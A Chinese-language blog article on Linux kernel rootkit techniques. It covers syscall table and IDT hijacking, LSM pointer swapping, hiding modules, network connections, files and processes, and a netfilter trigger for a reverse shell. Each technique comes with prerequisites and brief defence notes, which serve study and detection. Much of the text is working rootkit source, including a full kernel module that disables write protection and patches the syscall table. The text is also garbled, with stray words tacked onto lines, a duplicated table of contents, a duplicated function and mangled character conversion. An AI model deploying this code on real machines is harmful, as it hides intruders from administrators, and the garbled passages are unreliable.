目錄html
1. The Purpose Of Rootkit 2. Syscall Hijack 3. LKM Module Hidden 4. Network Communication Hidden 5. File Hidden 6. Process Hidden 7. Hidden Port Remote Reverse Connections 8. Programe Replacing
1. The Purpose Of Rootkit
node
Basically, the purpose of rootkit is as followslinux
1. The Purpose Of Rootkit 2. Syscall Hijack 3. LKM Module Hidden 4. Network Communication Hidden 5. File Hidden 6. Process Hidden 7. Hidden Port Remote Reverse Connections 8. Programe Replacing
從大的方向上來分類,當前的rootkit技術一個核心詞就是"hook",圍繞着怎麼劫持、劫持誰這2個問題,衍生出了很是多的底層rootkit技術(有別於傳統的應用層PATH劫持、指令程序替換重定向等技術)git
1. VFS劫持(/proc下操做句柄劫持) 2. Kernel劫持(kernel中斷劫持)
從架構層級上來看,Kernel比VFS的層級更低,使用kernel劫持方式能得到更加底層的劫持效果,可是相對的,如今也有不少kernel的劫持檢測技術,爲了規避這個問題,因此有的rootkit採用了VFS的劫持技術,以此來繞過kernel檢測技術,可是所以付出的代價就是劫持的效果會降低程序員
Relevant Link:shell
http://files.cnblogs.com/LittleHann/hook_the_kernel_WNPS.pdf
http://jaseywang.me/2011/01/04/vfs-kernel-space-user-space-2/
2. Syscall Hijack c#
0x1: SYS_CALL_TABLE Functions Address Pointer Hook Hijackwindows
By directly replacing the system call function table pointer address, in order to achieve the purpose of system call hijacking數組
code安全
/* 1. 經過"中斷寄存器"獲取中斷描述符表(IDT)的地址(使用C ASM彙編) */ asm("sidt %0":"=m"(idt48)); /* 2. 從中查找0x80中斷("0x80中斷"就是"系統調用中斷")的服務例程(8*0x80偏移) "中斷描述符表(IDT)"中有不少項,每項8個字節,而第0x80項纔是系統調用對應的中斷 struct descriptor_idt { unsigned short offset_low; unsigned short ignore1; unsigned short ignore2; unsigned short offset_high; }; static struct { unsigned short limit; unsigned long base; }__attribute__ ((packed)) idt48; */ pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80); system_call_addr = (pIdt80->offset_high << 16 | pIdt80->offset_low); /* 3. 搜索該例程的內存空間,獲取"系統調用函數表"的地址("系統調用函數表"根據系統調用號做爲索引保存了linux系統下的全部系統調用的入口地址) */ for (i=0; i<100; i++) { if (p=='\xff' && p[i+1]=='\x14' && p[i+2]=='\x85') { sys_call_table = *(unsigned int*)(p+i+3); printk("addr of sys_call_table: %x\n", sys_call_table); return ; } } /* 4. 將sys_call_table做爲基址,根據系統調用號做爲索引,替換指定的系統調用的函數地址指針(替換前須要獲取原始的系統調用地址,在hook函數執行完畢後要將控制流繼續導向原始系統調用而不影響系統運行) */ orig_read = sys_call_table[__NR_read]; orig_getdents64 = sys_call_table[__NR_getdents64]; .. replace ..
攻擊前提
1. 黑客已經獲取了root賬號的權限 2. 黑客可以有權限執行insmod加載LKM驅動
防護策略
1. 枚舉內核空間中的系統調用表(一個全局變量)的每一項是否都處於內核text節區中 Detect any syscall address from the global table that is outside kernel text section 1) KJ_SYSCALL_TABLE_SYM 2) KJ_MODULE_KSET_SYM 3) KJ_CORE_KERN_TEXT_SYM
0x2: Int 0x80 Interrupt Handler Hook Hijack Based On IDT Register
相比與系統調用表劫持技術,80中斷劫持技術將hook點選在了代碼邏輯的更上游的地方,關於系統調用劫持和80中斷表劫持的區別,以下圖所示
code
/* 1. 經過"中斷寄存器"獲取中斷描述符表(IDT)的地址(使用C ASM彙編) */ asm("sidt %0":"=m"(idt48)); /* 2. 從中查找0x80中斷("0x80中斷"就是"系統調用中斷")的服務例程(8*0x80偏移) "中斷描述符表(IDT)"中有不少項,每項8個字節,而第0x80項纔是系統調用對應的中斷 struct descriptor_idt { unsigned short offset_low; unsigned short ignore1; unsigned short ignore2; unsigned short offset_high; }; static struct { unsigned short limit; unsigned long base; }__attribute__ ((packed)) idt48; */ pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80); system_call_addr = (pIdt80->offset_high << 16 | pIdt80->offset_low); /* 3. 搜索該例程的內存空間,獲取"系統調用函數表"的地址("系統調用函數表"根據系統調用號做爲索引保存了linux系統下的全部系統調用的入口地址) */ for (i=0; i<100; i++) { if (p=='\xff' && p[i+1]=='\x14' && p[i+2]=='\x85') { sys_call_table = *(unsigned int*)(p+i+3); printk("addr of sys_call_table: %x\n", sys_call_table); return ; } } /* 4. 將sys_call_table做爲基址,根據系統調用號做爲索引,獲取指定的系統調用的函數地址指針,由於咱們經過劫持80中斷進而達到系統調用劫持的目的後,還須要將代碼控制流從新導向原始的系統調用 */ orig_read = sys_call_table[__NR_read]; orig_getdents64 = sys_call_table[__NR_getdents64]; .. replace .. /* 5. 直接替換IDT中的某一項,也就是咱們須要經過代碼模擬本來"系統調用中斷例程(IDT[0x80])"的代碼邏輯 */ void new_idt(void) { ASMIDType ( "cmp %0, %%eax \n" "jae syscallmala \n" "jmp hook \n" "syscallmala: \n" "jmp dire_exit \n" : : "i" (NR_syscalls) ); } .. void hook(void) { register int eax asm("eax"); switch(eax) { case __NR_getdents64: CallHookedSyscall(Sys_getdents64); break; case __NR_read: CallHookedSyscall(Sys_read); break; default: JmPushRet(dire_call); break; } //jmp to original syscall idt handler JmPushRet( after_call ); }
攻擊前提
1. 黑客已經獲取了root賬號的權限 2. 黑客可以有權限執行insmod加載LKM驅動
防護策略
1. 不論是"系統調用表劫持",仍是IDT 0x80中斷劫持,最終rootkit都須要系統調用表的入口地址進行篡改(IDT 0x80中斷劫持只是爲了提升hook代碼的易管理性、可擴展性),因此對"IDT 0x80中斷劫持"的防護和"系統調用表劫持" 的防護策略是同樣的 2. 枚舉內核空間中的系統調用表(一個全局變量)的每一項是否都處於內核text節區中 Detect any syscall address from the global table that is outside kernel text section 1) KJ_SYSCALL_TABLE_SYM 2) KJ_MODULE_KSET_SYM 3) KJ_CORE_KERN_TEXT_SYM 3. 使用匯編級檢查技術,檢測IDT[0x80]的地址是否遭到了篡改,即和標準的中斷例程的入口的彙編指令不一樣 標準的IDT 0x80例程入口以下 \linux-2.6.32.63\arch\x86\kernel\entry_32.S ENTRY(system_call) RING0_INT_FRAME ASM_CLAC pushl_cfi %eax SAVE_ALL GET_THREAD_INFO(%ebp) testl $_TIF_WORK_SYSCALL_ENTRY,TI_flags(%ebp) jnz syscall_trace_entry cmpl $(NR_syscalls), %eax jae syscall_badsys //0x0f 0x83 syscall_call: call *sys_call_table(,%eax,4) //0xff 0x14 0x85 <addr4> <addr3> <addr2> <addr1> movl %eax,PT_EAX(%esp) # store the return value 被rootkit劫持了IDT以後改變以下 cmpl $(NR_syscalls), %eax jae syscall_badsys //0x0f 0x83 被替換爲: pushl addr_of_new_idt => 0x68 ((void *) new_idt) ret => 0xc3
Relevant Link:
http://blog.aliyun.com/948 http://blog.csdn.net/zhl1224/article/details/5847381 http://www.hacker.com.cn/uploadfile/2014/0228/20140228103318644.pdf
0x3: Int 0x80 Interrupt Handler Hook Hijack Based On Fast System Call - sysenter(Intel)
除了藉助IDT寄存器經過內聯彙編指令獲取到80中斷(系統調用對應的中斷)這個方法以外,Intel CPU還支持Fast System Call - sysenter的方式獲取系統調用例程的入口地址(根據系統調用號進行具體系統調用派發的例程)
code
/* 1. check if SEP is supported in current system 能夠經過: cat /proc/cpuinfo | grep sep來判斷當前系統是否支持SEP if supported, get sysenter address via: "rdmsr(MSR_IA32_SYSENTER_EIP, psysenter_entry, v2);" */ if (boot_cpu_has(X86_FEATURE_SEP)) { rdmsr(MSR_IA32_SYSENTER_EIP, psysenter_entry, v2); } /* 2. 若是當前系統不支持SEP,則直接經過原始的方法去搜索/proc/kallsyms(內核符號導出表) search in /proc/kallsyms for fast system call mark "sysenter_entry" or " syscall_call" */ else { sysenter = read_kallsyms(); } /* 3. 經過sysenter劫持IDT中"系統調用中斷例程的入口地址" */ 標準的IDT 0x80例程入口以下 \linux-2.6.32.63\arch\x86\kernel\entry_32.S ENTRY(system_call) RING0_INT_FRAME ASM_CLAC pushl_cfi %eax SAVE_ALL GET_THREAD_INFO(%ebp) testl $_TIF_WORK_SYSCALL_ENTRY,TI_flags(%ebp) jnz syscall_trace_entry cmpl $(NR_syscalls), %eax jae syscall_badsys //0x0f 0x83 syscall_call: call *sys_call_table(,%eax,4) //0xff 0x14 0x85 <addr4> <addr3> <addr2> <addr1> movl %eax,PT_EAX(%esp) # store the return value 被rootkit劫持了IDT以後改變以下 cmpl $(NR_syscalls), %eax jae syscall_badsys //0x0f 0x83 被替換爲: pushl addr_of_new_idt => 0x68 ((void *) new_idt) ret => 0xc3 /* 4. 當執行完咱們的hook_idt_handler以後,程序流會返回執行原始的syscall彙編代碼 */ syscall_call: call *sys_call_table(,%eax,4) movl %eax,PT_EAX(%esp) # store the return value
攻擊前提
1. 當前系統支持SEP、或者在編譯內核的時候開啓了kallsyms開關 2. 黑客已經獲取了root賬號的權限 3. 黑客可以有權限執行insmod加載LKM驅動
防護策略
和"Int 0x80 Interrupt Handler Hook Hijack Based On IDT Register"的防護策略相同
0x4: Kprobe Callback Function Register Hooking
使用linux系統提供的原生系統調用執行回調機制: Kprobe技術進行系統調用的Hooking,Kprobe機制可使rootkit有能力在系統調用執行的前、後進行串行式的檢測和過濾(Kprobe拿到的數據結構就是原始的內核拿到的參數指針)
關於Kprobe的相關原理請參閱另外一篇文章 http://www.cnblogs.com/LittleHann/p/3854977.html (搜索: 利用Linux內核機制kprobe機制(kprobes, jprobe和kretprobe)進行系統調用Hook)
攻擊前提
1. 黑客已經獲取了root賬號的權限 2. 黑客可以有權限執行insmod加載LKM驅動
防護策略
1. Kprobe是linux提供的原生的監控機制,可是目前並無提供檢測Kprobe_register掛鉤狀況的API,原本Kprobe誕生的時候就是爲了監控的目的,並無設計用來rootkit、rootkit檢測等目的 2. 檢測當前系統是否處於Kprobe監控狀態只能採起別的hacking的方法: 經過枚舉kprobe的全局HASH鏈表,檢查是否有白名單以外的系統調用監控(由於系統管理員本身可能也使用kprobe進行系統監控)
Relevant Link:
http://blog.chinaunix.net/uid-22227409-id-3420260.html
0x5: Linux LSM(linux security module) Function Register Hooking
LSM Selinux是linux提供的原生的程序流串行決策檢查機制,程序員經過對指定的系統調用數據結構註冊回調函數,可以在系統調用的執行流程上進行安全訪問控制
code
//設置security_operations結構體,指明須要註冊的LSM鉤子函數 static struct security_operations test_security_ops = { .name = "test", .file_permission = test_file_permission, }; //註冊LSM鉤子函數 register_security(&test_security_ops)
攻擊前提
1. 當前linux服務端在編譯內核時開啓了SELINUX開關 2. 當前linux服務器配置信息中開啓了SELINUX選項:修改/etc/selinux/config文件中的SELINUX=""爲enabled ,而後重啓 3. 黑客已經獲取了root賬號的權限 4. 黑客可以從新編譯內核並重啓機器
防護策略
未知(待研究)
0x6: Linux LSM(linux security module) Function Adress Hijaking
LSM模塊在全部驗證函數中都調用了security_ops的函數指針,這樣,security_ops被定義爲一個全局變量的話,rootkit很容易就能夠將security_ops變量導出,而後替換爲本身的fake函數,LSM框架很容易就被摧毀掉,從而達到函數指針hook劫持的目的
code
extern struct security_operations *security_ops; struct security_operations *fake_security_ops; int fake_file_mmap(struct file *file, unsigned long reqprot, unsigned long prot, unsigned long flags) { printk("in fake_file_mmap.\n"); return 0; } fake_security_ops = security_ops; fake_security_ops->file_mmap = fake_file_mmap; security_ops = fake_security_ops; security_ops->file_mmap(NULL, 0, 0, 0);
攻擊前提
1. 當前linux服務端在編譯內核時開啓了SELINUX開關 2. 當前linux服務器配置信息中開啓了SELINUX選項:修改/etc/selinux/config文件中的SELINUX=""爲enabled ,而後重啓 3. 黑客已經獲取了root賬號的權限 4. 黑客可以有權限執行insmod加載LKM驅動
防護策略
未知(待研究)
3. LKM Module Hidden
枚舉LKM模塊的方法有
1. VFS方法: cat /proc/module: 直接讀取/proc/module下的項 2. ring3方法: lsmod: 本質仍是在讀取/proc/module,作了一個代碼封裝,提供給用戶一個良好的接口和界面 3. LKM方法: 直接經過kernel module枚舉struct module->list 4. LKM方法: 直接經過kernel module枚舉struct module->mkobj->kobj->entry 5. lKM方法: 直接經過kernel module枚舉module->mkobj->kobj->kset
0x1: Module Hidden Based On list_del Kernel Double-Way List"struct module->list" Item && kobject_del module_kobject "struct module->mkobj->kobj->entry" Item
這屬於基於linux kernel object斷鏈隱藏的思想(windows下也有相似的方法),linux將系統核心的調度、LKM信息都放在了內核中的某段內存區域中,而對於進程、LKM模塊這類信息在內核中都是經過一個雙向循環鏈表進行保存的
關於內核中LKM鏈表的相關知識,請參閱另外一篇文章
http://www.cnblogs.com/LittleHann/p/3865490.html (搜索: struct module)
code
/* 1. 在模塊加載的入口的位置,就進行"斷鏈"操做 1) 將當前模塊的module直接從內核LKM雙鏈表: list中刪除 2) 將當前模塊的kobject直接從kernel module kobject雙鏈表: mkobj.kobj.entry中刪除 */ int wnps_init(void) { struct module *m = &__this_module; struct proc_dir_entry *my_dir_entry = proc_net->subdir; if (m->init == wnps_init) { list_del(&m->list); kobject_del(m->mkobj.kobj); list_del(m->mkobj.kobj.entry); } .. } module_init(wnps_init);
攻擊前提
1. 黑客已經獲取了root賬號的權限 2. 黑客可以有權限執行insmod加載LKM驅動
防護策略
1. lKM方法: 直接經過kernel module枚舉module->mkobj->kobj->kset
4. Network Communication Hidden
0x1: Network Communication Hidden Based On /proc/net/tcp/ Operation Handler Hooking(VFS Hook)
code
/* 1. 獲取/proc/net/tcp這個目錄的"顯示函數"的句柄 */ /* 2. 劫持/proc/net/tcp的"顯示函數"的函數 */ struct tcp_seq_afinfo *my_afinfo = NULL; while (strcmp(my_dir_entry->name, "tcp")) { my_dir_entry = my_dir_entry->next; } if((my_afinfo = (struct tcp_seq_afinfo*)my_dir_entry->data)) { //保留原始的/proc/net/tcp列表 old_tcp4_seq_show = my_afinfo->seq_show; /* 將/proc/net/tcp替換爲"hacked_tcp4_seq_show",這個函數會根據配置文件隱藏指定tcp鏈接記錄 */ my_afinfo->seq_show = hacked_tcp4_seq_show; } /* 3. 在劫持函數中根據配置文件對指定的tcp鏈接進行過濾 本質上: cat /proc/net/tcp就是在調用/proc/net/tcp->seq_show這個函數) */ int hacked_tcp4_seq_show(struct seq_file *seq, void *v) { int retval = old_tcp4_seq_show(seq, v); char port[12]; sprintf(port,"%04X",ntohs(myowner_port)); /* 過濾(屏蔽)掉指定的tcp鏈接狀態 */ if(strnstr(seq->buf + seq->count - TMPSZ, port, TMPSZ) { seq->count -= TMPSZ; } return retval; }
攻擊前提
1. 黑客已經獲取了root賬號的權限 2. 黑客可以有權限執行insmod加載LKM驅動
防護策略
1. 使用VFS Hooking的逆向思路,經過檢查/proc/net/tcp->seq_show(操做句柄)是否位於內核text節區中來判斷是否發生了VFS劫持
0x2: Network Communication Hidden Based On Netfilter Callback Function Register
Netfilter是linux提供的一種網絡鏈接狀態監控機制,Netfilter運行在內核態,並在鏈式處理流程的關鍵位置提供了註冊回調點,方便內核開發人員開發基於網絡鏈接監控的應用
關於netfilter的相關知識,請參閱另外一篇文章
http://www.cnblogs.com/LittleHann/p/3708222.html
code
/* 1. 置netfilter回調監控函數的相關信息 */ int netfilter_test_init(void) { nfho.hook = hook_func; nfho.owner = NULL; nfho.pf = PF_INET; //NF_IP_PRE_ROUTING: 在數據報進入內核協議棧進行處理以前註冊回調點 nfho.hooknum = NF_IP_PRE_ROUTING; nfho.priority = NF_IP_PRI_FIRST; nf_register_hook(&nfho); return 0; } /* 2. 將設置好的hook函數註冊到netfilter的回調點上 */ int nf_register_hook(struct nf_hook_ops *reg) { struct nf_hook_ops *elem; int err; err = mutex_lock_interruptible(&nf_hook_mutex); if (err < 0) { return err; } list_for_each_entry(elem, &nf_hooks[reg->pf][reg->hooknum], list) { if (reg->priority < elem->priority) { break; } } list_add_rcu(®->list, elem->list.prev); mutex_unlock(&nf_hook_mutex); #if defined(CONFIG_JUMP_LABEL) static_key_slow_inc(&nf_hooks_needed[reg->pf][reg->hooknum]); #endif return 0; } /* 3. 在監控函數中hook_funcn中,經過監控關鍵字"TCP_SHELL_KEY",實現無鏈接方式shell激活(告訴rootkit lkm如今能夠準備開始啓動反向鏈接shell了) */ .. if ((p = strstr(data, TCP_SHELL_KEY)) != NULL) { .. //獲取激活包發送方的IP地址(即反向鏈接的目的地:肉雞的主控方的IP地址) myowner_ip = sk->nh.iph->saddr; .. //獲取激活包發送方的端口(即反向鏈接的目的地:肉雞的主控方所監聽的socket端口) connect_port = wnps_atoi(port); .. //這個標識表示當前已經開啓反向鏈接激活模式 wztshell = 1; .. }
攻擊前提
1. 黑客已經獲取了root賬號的權限 2. 黑客可以有權限執行insmod加載LKM驅動
防護策略
1. 定位struct list_head nf_hooks[NPROTO][NF_MAX_HOOKS] 1) 經過kj_kernel_symbol_lookup直接獲得nf_hooks的內核地址 2) 經過/proc/kallsyms獲得nf_hooks的內核地址 2. 經過遍歷循環雙鏈表枚舉結構體數組的每一項 3. 得到每個註冊函數的鉤子,並判斷其所屬的模塊(經過__module_address()進行反向定位) 4. 若是定位失敗則說明當前鉤子函數爲惡意模塊註冊的hook函數
Relevant Link:
http://www.docin.com/p-53234562.html
5. File Hidden
0x1: File Hidden Based On Replace Hook sys_open、sys_access system call
在使用LD_PRELOAD技術向Linux下全部啓動中的進程注入.so文件進行hook,因爲LD_PRELOAD是操做系統原生提供的機制,咱們沒法從Ring3應用層來控制hook注入的過濾,要達到針對某些特定進程不進行hook操做,須要配合Ring0層驅動來進行實現
1. 對sys_open進行hook 2. 判斷當前進程 (current->comm == target_process) {} 3. 判斷當前打開文件 //long my_sys_open(const char __user *filename, int flags, int mode) if(filename == "/etc/ld.so.preload" || filename == "target_so_path") { //重定向(從新賦值)filename filename = "new_so_path"; } 或者對sys_access進行hook,讓目標進程access("/etc/ld.so.preload", R_OK)的時候執行失敗,達到繞過加載Hook SO的狀況 4. 則將filename指針重定向指向另外一個空的、格式正確的空殼.so文件 5. 完成這步操做以後,指定目標進程在根據LD_PRELOAD路徑打開的.so文件就是一個沒有任何hook功能的空殼文件
code
#include <linux/module.h> #include <linux/init.h> #include <linux/types.h> #include <asm/uaccess.h> #include <asm/cacheflush.h> #include <linux/syscalls.h> #include <linux/delay.h> // loops_per_jiffy #include <linux/proc_fs.h> #include <linux/string.h> #include <linux/cred.h> #include <linux/fs.h> #include <linux/fcntl.h>//for O_RDONLY #include <linux/limits.h>//for PATH_MAX #include <linux/mount.h> #include <linux/fdtable.h> #include <linux/stat.h> #include <linux/namei.h> #include <linux/sched.h> #define CR0_WP 0x00010000 // Write Protect Bit (CR0:16) #define BUF_SIZE 1024 /* Just so we do not taint the kernel */ MODULE_LICENSE("GPL"); void **syscall_table; unsigned long **find_sys_call_table(void); long (*orig_sys_open)(const char __user *filename, int flags, int mode); long (*ori_sys_access)(const char __user *filename, int mode); unsigned long **find_sys_call_table() { unsigned long ptr; unsigned long *p; for (ptr = (unsigned long)sys_close; ptr < (unsigned long)&loops_per_jiffy; ptr += sizeof(void *)) { p = (unsigned long *)ptr; if (p[__NR_close] == (unsigned long)sys_close) { printk(KERN_DEBUG "Found the sys_call_table!!!\n"); return (unsigned long **)p; } } return NULL; } unsigned long getInodeIDbyFilename(const char *filename) { unsigned long proc_ino = 0; struct file *filp = filp_open(filename, O_RDONLY, 0); if( !IS_ERR(filp) ) { proc_ino = filp->f_dentry->d_inode->i_ino; filp_close(filp, 0); } else { proc_ino = 0; } return proc_ino; } long my_sys_open(const char __user *filename, int flags, int mode) { long ret; unsigned long target_so_path_ino; unsigned long current_proc_ino; const char *new_filename = "/home/zhenghan.zh/hook.so"; char target_so_path[512] = {0}; char buffer_filename[512] = {0}; char current_process[512] = {0}; //將用戶態的filename拷貝到內核態,防止出現panic copy_from_user((char *)buffer_filename, filename, 512); //設置要修復的目標受保護路徑 sprintf(target_so_path, "/home/zhenghan.zh/target.so"); //獲取當前調用進程名 sprintf(current_process, current->comm); printk("current_process: %s opening: %s\n", current_process, buffer_filename); //獲取指定路徑的inode id current_proc_ino = getInodeIDbyFilename(buffer_filename); target_so_path_ino = getInodeIDbyFilename(target_so_path); //若是是tubo進程 if ( strcmp(current_process, "test") == 0) { //匹配當前打開文件路徑 if ( (current_proc_ino == target_so_path_ino) ) { //重定向當前打開文件的 ret = orig_sys_open(new_filename, flags, mode); } else { ret = orig_sys_open(filename, flags, mode); } } else { ret = orig_sys_open(filename, flags, mode); } return ret; } long my_sys_open(const char __user *filename, int flags, int mode) { long ret; unsigned long target_so_path_ino; unsigned long current_proc_ino; const char *new_filename = "/home/zhenghan.zh/hook.so"; char target_so_path[512] = {0}; char buffer_filename[512] = {0}; char current_process[512] = {0}; //將用戶態的filename拷貝到內核態,防止出現panic copy_from_user((char *)buffer_filename, filename, 512); //設置要修復的目標受保護路徑 sprintf(target_so_path, "/home/zhenghan.zh/target.so"); //獲取當前調用進程名 sprintf(current_process, current->comm); printk("current_process: %s opening: %s\n", current_process, buffer_filename); //獲取指定路徑的inode id current_proc_ino = getInodeIDbyFilename(buffer_filename); target_so_path_ino = getInodeIDbyFilename(target_so_path); //若是是tubo進程 if ( strcmp(current_process, "test") == 0) { //匹配當前打開文件路徑 if ( (current_proc_ino == target_so_path_ino) ) { //重定向當前打開文件的 ret = orig_sys_open(new_filename, flags, mode); } else { ret = orig_sys_open(filename, flags, mode); } } else { ret = orig_sys_open(filename, flags, mode); } return ret; } long my_sys_access(const char __user *filename, int mode) { long ret; unsigned long target_so_path_ino; unsigned long current_proc_ino; const char *new_filename = "/home/zhenghan.zh/hook.so"; char target_so_path[512] = {0}; char buffer_filename[512] = {0}; char current_process[512] = {0}; //將用戶態的filename拷貝到內核態,防止出現panic copy_from_user((char *)buffer_filename, filename, 512); //設置要修復的目標受保護路徑 sprintf(target_so_path, "/home/zhenghan.zh/target.so"); //獲取當前調用進程名 sprintf(current_process, current->comm); printk("current_process: %s opening: %s\n", current_process, buffer_filename); //獲取指定路徑的inode id current_proc_ino = getInodeIDbyFilename(buffer_filename); target_so_path_ino = getInodeIDbyFilename(target_so_path); //若是是tubo進程 if ( strcmp(current_process, "test") == 0) { //匹配當前打開文件路徑 if ( (current_proc_ino == target_so_path_ino) ) { //重定向當前打開文件的 ret = orig_sys_open(new_filename, flags, mode); } else { ret = ori_sys_access(filename, mode); } } else { ret = ori_sys_access(filename, mode); } return ret; } static int __init syscall_init(void) { int ret; unsigned long addr; unsigned long cr0; syscall_table = (void **)find_sys_call_table(); if (!syscall_table) { printk(KERN_DEBUG "Cannot find the system call address\n"); return -1; } cr0 = read_cr0(); write_cr0(cr0 & ~CR0_WP); //將syscall_table附近的3個內存頁(page)的內存頁面的讀寫權限打開, addr = (unsigned long)syscall_table; ret = set_memory_rw(PAGE_ALIGN(addr) - PAGE_SIZE, 3); if(ret) { printk(KERN_DEBUG "Cannot set the memory to rw (%d) at addr %16lX\n", ret, PAGE_ALIGN(addr) - PAGE_SIZE); } else { printk(KERN_DEBUG "3 pages set to rw"); } orig_sys_open = syscall_table[__NR_open]; ori_sys_access = syscall_table[__NR_access]; syscall_table[__NR_open] = my_sys_open; syscall_table[__NR_access] = my_sys_access; write_cr0(cr0); return 0; } static void __exit syscall_release(void) { unsigned long cr0; cr0 = read_cr0(); write_cr0(cr0 & ~CR0_WP); syscall_table[__NR_open] = orig_sys_open; syscall_table[__NR_access] = ori_sys_access; write_cr0(cr0); } module_init(syscall_init); module_exit(syscall_release);
0x2: File Hidden Based On Hajaking sys_getdents64 System Call
在系統調用劫持(Syscall Hijack)的基礎上,經過劫持Sys_getdents64能夠達到文件隱藏、進程隱藏的目的。這裏的關鍵在於
1. linux下的進程枚舉 1) ps 2) top 2. linux下目錄、文件枚舉 1) ll 2) ls 這些系統指令到了內核系統調用這個層面,全都須要經過"getdents64"這個系統調用進行實現
咱們在劫持了Sys_getdents64系統調用以後,在劫持函數中加入判斷邏輯,對指定的要隱藏的進程或者文件進行"清空buf(清空保存進程或目錄枚舉項的結構體緩衝區)"
code
/* 1. 經過"中斷寄存器"獲取中斷描述符表(IDT)的地址(使用C ASM彙編) */ asm("sidt %0":"=m"(idt48)); /* 2. 從中查找0x80中斷("0x80中斷"就是"系統調用中斷")的服務例程(8*0x80偏移) */ pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80); system_call_addr = (pIdt80->offset_high << 16 | pIdt80->offset_low); /* 3. 搜索該例程的內存空間,獲取"系統調用函數表"的地址("系統調用函數表"根據系統調用號做爲索引保存了linux系統下的全部系統調用的入口地址) */ /* 4. 將sys_call_table做爲基址,根據系統調用號做爲索引,替換指定的系統調用的函數地址指針(替換前須要獲取原始的系統調用地址,在hook函數執行完畢後要將控制流繼續導向原始系統調用而不影響系統運行) */ orig_read = sys_call_table[__NR_read]; orig_getdents64 = sys_call_table[__NR_getdents64]; /* 5. we get the orig information by orig_getdents64 */ struct dirent64 *td1, *td2; ret = (*orig_getdents64) (fd, dirp, count); td2 = (struct dirent64 *) kmalloc(ret, GFP_KERNEL); //copy the dirp struct to kernel space __copy_from_user(td2, dirp, ret); /* 6. 隱藏對當前進程的枚舉 1) 經過current宏獲取當前進程號 2) 從dirent64獲取當前正在枚舉的進程號(d_name) 3) 若是相等則說明須要隱藏 4) 對當前dirent64的指定數據區域進行清空(置零),即起到隱藏的目的 */ /* 7. 隱藏對指定特徵文件的枚舉 1) 從dirent64獲取當前正在枚舉的文件名(d_name) 2) 和咱們配置的文件名特徵碼(例如wnps_)做比較 3) 若是命中則說明須要隱藏 4) 對當前dirent64的指定數據區域進行清空(置零),即起到隱藏的目的 */ asmlinkage long Sys_getdents64(unsigned int fd, struct dirent64 *dirp, unsigned int count) { struct dirent64 *td1, *td2; long ret, tmp; unsigned long hpid, nwarm; short int hide_process, hide_file; /* first we get the orig information */ ret = (*orig_getdents64) (fd, dirp, count); if (!ret) { return ret; } /* get some space in kernel */ td2 = (struct dirent64 *) kmalloc(ret, GFP_KERNEL); if (!td2) { return ret; } /* copy the dirp struct to kernel space */ __copy_from_user(td2, dirp, ret); td1 = td2, tmp = ret; while (tmp > 0) { tmp -= td1->d_reclen; hide_file = 1; hide_process = 0; hpid = 0; hpid = simple_strtoul(td1->d_name, NULL, 10); /* If we got a file like digital,it may be a task in the /proc. So check the task with the task pid. */ if (hpid != 0) { struct task_struct *htask = current; do { if(htask->pid == hpid) { break; } else { htask = next_task(htask); } } while (htask != current); /* we get the task which will be hide */ if (((htask->pid == hpid) && (strstr(htask->comm, HIDE_TASK) != NULL))) { hide_process = 1; } } if ((hide_process) || (strstr(td1->d_name, HIDE_FILE) != NULL)) { ret -= td1->d_reclen; hide_file = 0; /* we cover the task information */ if (tmp) { memmove(td1, (char *) td1 + td1->d_reclen, tmp); } } /* we hide the file */ if ((tmp) && (hide_file)) { td1 = (struct dirent64 *) ((char *) td1 + td1->d_reclen); } } nwarm = __copy_to_user((void *) dirp, (void *) td2, ret); kfree(td2); return ret; }
攻擊前提
1. 黑客已經獲取了root賬號的權限 2. 黑客可以有權限執行insmod加載LKM驅動
防護策略
1. 枚舉內核空間中的系統調用表(一個全局變量)的每一項是否都處於內核text節區中 Detect any syscall address from the global table that is outside kernel text section 1) KJ_SYSCALL_TABLE_SYM 2) KJ_MODULE_KSET_SYM 3) KJ_CORE_KERN_TEXT_SYM
0x3: File Hidden Based On Directory Operation Handler Hooking(VFS Hook)
VFS Hooking技術的層次位於Kernel Hooking的上層(也意味着它的隱藏效果會更差一點),可是咱們也必須明白,攻防技術並非絕對的,關鍵是咱們須要明確咱們所使用的技術所在的層次、能作到什麼、不能作到什麼、有哪些特性和限制
關於VFS技術,咱們須要簡單瞭解下幾個基本的概念
1. 虛擬文件系統,它爲應用程序員提供一層抽象,屏蔽底層各類文件系統的差別。Linux的文件系統採用面向對象的方式設計,這使得Linux的文件系統很是容易擴展,咱們能夠很是容易將一個新的文件系統添加到Linux中 2. 在linux中全部的設備、磁盤文件都被抽象爲"文件"看待,即"一切皆文件" 3. 結構體file_operations在頭文件 linux/fs.h中定義 用來存儲驅動內核模塊提供的對設備進行各類操做的函數的指針。該結構體的每一個域都對應着驅動內核模塊用來處理某個被請求的事務的函數的地址 struct file_operations { struct module *owner; loff_t (*llseek) (struct file *, loff_t, int); ssize_t (*read) (struct file *, char __user *, size_t, loff_t *); ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *); ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t); ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t); int (*readdir) (struct file *, void *, filldir_t); unsigned int (*poll) (struct file *, struct poll_table_struct *); int (*ioctl) (struct inode *, struct file *, unsigned int, unsigned long); long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long); long (*compat_ioctl) (struct file *, unsigned int, unsigned long); int (*mmap) (struct file *, struct vm_area_struct *); int (*open) (struct inode *, struct file *); int (*flush) (struct file *, fl_owner_t id); int (*release) (struct inode *, struct file *); int (*fsync) (struct file *, struct dentry *, int datasync); int (*aio_fsync) (struct kiocb *, int datasync); int (*fasync) (int, struct file *, int); int (*lock) (struct file *, int, struct file_lock *); ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int); unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long); int (*check_flags)(int); int (*flock) (struct file *, int, struct file_lock *); ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int); ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int); int (*setlease)(struct file *, long, struct file_lock **); };
VFS Hooking技術的核心思想就是經過替換、以此達到在文件系統這個層面劫持系統的目錄隱藏、進程隱藏、網絡狀態隱藏
code
